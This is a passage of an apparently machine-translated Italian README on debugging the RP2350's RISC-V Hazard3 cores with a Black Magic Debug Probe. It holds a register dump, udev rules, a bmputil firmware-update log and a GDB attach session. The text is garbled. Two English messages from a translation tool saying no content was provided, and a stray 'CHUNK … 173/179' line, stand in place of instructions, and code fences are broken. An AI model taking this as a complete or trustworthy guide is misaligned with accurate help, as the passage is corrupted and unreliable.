ra             0x2001041c	0x2001041c
sp             0x20010400	0x20010400
gp             0x20031455	0x20031455
tp             0x0	0x0
t0             0x2000d7ba	536926138
t1             0x6a8c	27276
t2             0x200103a0	536937376
fp             0x20082000	0x20082000
s1             0x20010450	536937552
a0             0x0	0
a1             0x7232	29234
a2             0xffa00000	-6291456
a3             0x7206	29190
a4             0x0	0
a5             0xbdf0	48624
a6             0x7750	30544
a7             0x1	1
s2             0x10000036	268435510
s3             0x0	0
s4             0x0	0
s5             0x0	0
s6             0x0	0
s7             0x0	0
s8             0x0	0
s9             0x0	0
s10            0x0	0
s11            0x0	0
t3             0x200103d4	536937428
t4             0x0	0
t5             0x6b0c	27404
t6             0x74f8	29944
pc             0x20001d56	0x20001d56

Da questo punto puoi eseguire il debug del chip.

## Black Magic Debug Probe RP2350 RISCV Hazard3 

![](https://assets.kitploit.com/production/public/readmes/7385/4f0dcd9636100e3c43afb2a5067eeb4d5122337be8789bec057a8e98234ee617.jpg)

Acquista Black Magic Debug Probe: con cavo JTAG, cavo UART da 0.1" e adattatore a 20 pin:
- https://1bitsquared.de/products/black-magic-probe

/etc/udev/rules.d/99-blackmagic-plugdev.rules```
# Black Magic Probe
# there are two connections, one for GDB and one for UART debugging
# copy this to /etc/udev/rules.d/99-blackmagic.rules
# and run sudo udevadm control -R
ACTION!="add|change|bind", GOTO="blackmagic_rules_end"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb%E{ID_SERIAL_SHORT}"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg%E{ID_SERIAL_SHORT}"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6017", MODE="0666", GROUP="plugdev", TAG+="uaccess"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6018", MODE="0666", GROUP="plugdev", TAG+="uaccess"
LABEL="blackmagic_rules_end"

Aggiornamento:
- https://black-magic.org/upgrade.html```
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0

I don't see any content to translate — the message ends with "INPUT:" and no Markdown text follows. Please provide the chunk content, and I'll translate it into Italian according to the specified rules.```
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0

CHUNK: [0.352233] -> chunk 173/179```
./bmputil-cli probe update
Updating release metadata cache                                                                                                                                                                                    [2026-01-08T13:27:41Z INFO  bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:27:41Z INFO  bmputil_cli] Latest release 2.0.0 is not newer than firmware version 2.0.0, not updating

I don't see any input content to translate. The chunk appears to be empty. Please ensure the content is provided.```
(gdb)  target extended-remote /dev/ttyBmpGdb
Remote debugging using /dev/ttyBmpGdb
(gdb) monitor auto_scan
Target voltage: 3.3V
JTAG scan found no devices, trying SWD!
Available Targets:
No. Att Driver
 1      RP2350 rv32imac
 2      RP2350 rv32imac
(gdb) attach 1
Attaching to Remote target
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0x100000aa in ?? ()
(gdb) x/10i $pc
=> 0x100000aa:	addi	a1,a1,4
   0x100000ac:	addi	a2,a2,4
   0x100000ae:	bltu	a2,a3,0x100000a6
   0x100000b2:	ret
   0x100000b4:	addi	a3,sp,128
   0x100000b6:	addi	s0,sp,32
   0x100000b8:	unimp
   0x100000ba:	fld	fs0,0(s0)
   0x100000bc:	sw	a3,96(a5)
   0x100000be:	jal	0x100000be
(gdb) c
Continuing.